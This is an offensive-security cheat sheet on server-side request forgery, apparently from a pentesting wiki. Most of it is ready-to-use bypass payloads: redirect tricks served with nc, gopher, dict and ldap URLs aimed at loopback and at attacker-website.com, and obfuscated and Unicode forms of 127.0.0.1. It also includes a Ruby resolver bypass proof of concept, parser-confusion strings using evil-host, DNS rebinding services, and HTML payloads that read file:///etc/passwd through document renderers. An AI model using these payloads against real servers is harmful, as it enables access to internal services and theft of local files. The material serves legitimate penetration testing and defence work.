Server Side Request Forgery
Server-side request forgery (or SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.
In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.

Bypass filters

Applications often block input containing non-whitelist hostnames, sensitive URLs, or IP addresses like loopback, IPv4 link-local, private addresses, etc. In this situation, it is sometimes possible to bypass the filter using various techniques.

Redirection

You can try using a redirection to the desired URL to bypass the filter. To do this, return a response with the 3xx code and the desired URL in the Location header to the request from the vulnerable server, for example:
1
HTTP/1.1 301 Moved Permanently
2
Server: nginx
3
Connection: close
4
Content-Length: 0
5
Location: http://127.0.0.1
Copied!
You can achieve redirection in the following ways:
  • bash, like nc -lvp 80 < response.txt
  • URL shortener services
  • Mock and webhook services, see here​
  • More flexible solutions such as a simple HTTP server on python
Also, if the application contains an open redirection vulnerability you can use it to bypass the URL filter, for example:
1
POST /api/v1/webhook HTTP/1.1
2
Host: vulnerable-website.com
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 101
5
​
6
url=https://vulnerable-website.com/api/v1/project/next?currentProjectId=1929851&path=http://127.0.0.1
Copied!
These bypass approaches work because the application only validates the provided URL, which triggers the redirect. It follows the redirect and makes a request to the internal URL of the attacker's choice.

URL scheme

You can try using different URL schemes to bypass the filter:
1
file://path/to/file
2
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
3
dict://127.0.0.1:1337/stats
4
ftp://127.0.0.1/
5
sftp://attacker-website.com:1337/
6
tftp://attacker-website.com:1337/TESTUDPPACKET
7
ldap://127.0.0.1:389/%0astats%0aquit
8
ldaps://127.0.0.1:389/%0astats%0aquit
9
ldapi://127.0.0.1:389/%0astats%0aquit
10
gopher://attacker-website.com/_SSRF%0ATest!
Copied!

IP address formats

You can try using a different IP address format to bypass the filter.

Rare IP address

Rare IP address formats, defined in RFC 3986:
  • Dotted hexadecimal IP: 0x7f.0x0.0x0.0x1
  • Dotless hexadecimal IP: 0x7f001
  • Dotless hexadecimal IP with padding: 0x0a0b0c0d7f000001 (padding is 0a0b0c0d)
  • Dotless decimal IP: 2130706433
  • Dotted decimal IP with overflow (256): 383.256.256.257
  • Dotted octal IP: 0177.0.0.01
  • Dotless octal IP: 017700000001
  • Dotted octal IP with padding: 00177.000.0000.000001
  • Combined:
    1
    0x7f.0.1
    2
    0x7f.1
    3
    00177.1
    4
    00177.0x0.1
    Copied!
You can short-hand IP addresses by dropping the zeros:
1
1 part (ping A) : 0.0.0.A
2
2 parts (ping A.B) : A.0.0.B
3
3 parts (ping A.B.C) : A.B.0.C
4
4 parts (ping A.B.C.D) : A.B.C.D
5
​
6
0 => 0.0.0.0
7
127.1 => 127.0.0.1
8
127.0.1 => 127.0.0.1
Copied!

IPv6 address

  • IPv6 localhost:
    1
    [::]
    2
    0000::1
    3
    [::1]
    4
    0:0:0:0:0:0:0:0
    Copied!
  • IPv4-mapped IPv6 address: [::ffff:7f00:1]
  • IPv4-mapped IPv6 address: [::ffff:127.0.0.1]
  • IPv4-compatible IPv6 address (deprecated, q.v. RFC4291: [::127.0.0.1]
  • IPv4-mapped IPv6 address with zone identifier: [::ffff:7f00:1%25]
  • IPv4-mapped IPv6 address with zone identifier: [::ffff:127.0.0.1%eth0]

Abuse of enclosed alphanumerics

Enclosed alphanumerics is a Unicode block of typographical symbols of an alphanumeric within a circle, a bracket or other not-closed enclosure, or ending in a full stop, q.v. list.
1
127。0。0。1
2
127q0q0q1
3
127.0.0.1
4
⑫7qβ“ͺοΌŽπŸ’γ€‚πŸ·
5
πŸ˜π–ƒπŸ•π’‡ο½‘πŸ˜π”΅πŸ’ο½‘πŸ’π™­β“ͺο½‘πŸ˜π™“ΒΉ
6
β°π”πŸ³π™›πŸ’οΌοΌ‘
7
οΌ’πŸπŸ‘πŸ’πŸ•πŸ’οΌ–πŸΊπŸ›πŸ‘
8
πŸ₯πŸͺΒ³γ€‚πŸšβ΅πŸžγ€‚Β²β‚…πŸžγ€‚Β²πŸ§πŸŸ
9
πŸ’β‚πŸ³β‚‡ο½‘οΌο½‘οΌο½‘πŸ’πŸ·
10
πŸŽπŸ’πŸ™β‘¦β·γ€‚οΌοΌοΌγ€‚πŸΆπŸ¬πŸ’πŸ˜γ€‚πŸŽβ‚€πŸŽπŸ’οΌπŸ£
11
[::πŸβ‘‘β‚‡οΌŽπŸ˜οΌŽβ‚€οΌŽπŸ·]
12
[::πŸ­οΌ’πŸŸο½‘β“ͺο½‘β‚€ο½‘πŸ£%πŸΈπŸ­β‘€]
13
[::πšπ•±αΆ π•—:πŸβ‚‚οΌ—ο½‘β‚€ο½‘πŸ’ο½‘β‘ ]
14
[::𝒇ℱ𝔣𝐹:πŸ£πŸ€οΌ—γ€‚β‚€γ€‚οΌγ€‚β‚%β‘‘ΒΉπŸ§]
15
πŸŽπš‡πŸ•π–‹ο½‘β“ͺq𝟣
16
𝟎ˣ𝟩𝘍q𝟷
17
πŸ˜πŸ˜β‘ πŸ•β‘¦οΌŽοΌ‘
18
β“ͺπŸ˜πŸ™πŸ³πŸ½ο½‘πŸŽπ“§β‚€ο½‘πŸ
Copied!

Abusing a bug in Ruby's native resolver

Resolv::getaddresses is OS-dependent, therefore by playing around with different IP formats one can return blank values.
Proof of concept:
1
irb(main):001:0> require 'resolv'
2
=> true
3
irb(main):002:0> uri = "0x7f.1"
4
=> "0x7f.1"
5
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
6
=> [] # The bug!
7
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
8
=> ["127.0.0.1", "::1", "0.0.0.0"]
9
irb(main):005:0> (blocked_ips & server_ips).any?
10
=> false # Bypass
Copied!
References:

Broken parser

The URL specification contains a number of features that are liable to be overlooked when implementing ad hoc parsing and validation of URLs:
  • Embedded credentials in a URL before the hostname, using the @ character: https://[email protected]
  • Indication a URL fragment using the # character: https://evil-host#expected-host
  • DNS naming hierarchy: https://expected-host.evil-host
  • URL-encode characters. This can help confuse URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request.
  • Combinations of these techniques together:
    3
    evil-host%09expected-host
    4
    127.1.1.1:80\@127.2.2.2:80
    5
    127.1.1.1:80:\@@127.2.2.2:80
    6
    127.1.1.1:80#\@127.2.2.2:80
    7
    ß.evil-host
    Copied!
References:

DNS pinning

If you want to get a A-record that resolves to an IP, use the following subdomain:
1
make-<IP>-rr.1u.ms
Copied!
For example, domain resolves make-127-0-0-1-rr.1u.ms to 127.0.0.1:
1
$ dig A make-127-0-0-1-rr.1u.ms
2
make-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
Copied!
Multiple records can be separated by -and-:
1
make-<IP>-and-<IP>-rr.1u.ms
Copied!
For example, domain resolves make-127-0-0-1-and-127-127-127-127-rr.1u.ms to 127.0.0.1 and 127.127.127.127:
1
$ dig A make-127-0-0-1-and-127-127-127-127-rr.1u.ms
2
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.0.0.1
3
make-127-0-0-1-and-127-127-127-127-rr.1u.ms. 0 IN A 127.127.127.127
Copied!
GitHub - neex/1u.ms
GitHub
Also, check sslip.io:
Welcome to sslip.io

DNS rebinding

If the mechanisms in vulnerable application for checking and establishing a connection are independent and there is no caching of the DNS resolution response, you can bypass this by manipulating the DNS resolution response.
For example, if two requests go one after the other within 5 seconds, DNS resolution make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms will return the address 1.1.1.1 by the first request, and the second - 127.0.0.1.
1
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
2
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 1.1.1.1
3
​
4
$ dig A make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms
5
make-1-1-1-1-rebind-127-0-0-1-rr.1u.ms. 0 IN A 127.0.0.1
Copied!
GitHub - neex/1u.ms
GitHub
Also, check lock.cmpxchg8b.com:
rbndr.us dns rebinding service

Adobe ColdFusion

SSRF in ColdFusion/CFML Tags and Functions

FFmpeg

SVG

GitHub - allanlw/svg-cheatsheet: A cheatsheet for exploiting server-side SVG processors.
GitHub

Server-side processing of arbitrary HTML and JS

Server-side processing of arbitrary HTML and JS data from a user can often be found when generating various documents, for example, to PDFs. If this functionality is vulnerable to HTML injection and/or XSS, you can use this to access internal resources:
1
<iframe src="file:///etc/passwd" width="400" height="400">
2
<img src onerror="document.write('<iframe src=//127.0.0.1></iframe>')">
Copied!
Use HTTPLeaks to determine if any of the allowed HTML tags could be used to abuse the processing.
GitHub - cure53/HTTPLeaks: HTTPLeaks - All possible ways, a website can leak HTTP requests
GitHub
References:

Request splitting

Security Bugs in Practice: SSRF via Request Splitting
rfkelly

HTTP headers

Many applications use in their flows IP addresses/domains, which they received directly from users in different HTTP headers, such as the X-Forwarded-For or Client-IP headers. Such application functionality can lead to a blind SSRF vulnerability if the header values are not properly validated.
This is where the param-miner can be useful for searching the HTTP headers.

Referer header

Also notice the Referer header, which is used by server-side analytics software to track visitors. Such software often logs the Referer header from requests, since this allows to track incoming links.
The analytics software will actually visit any third-party URL that appears in the Referer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.

References

Last modified 3d ago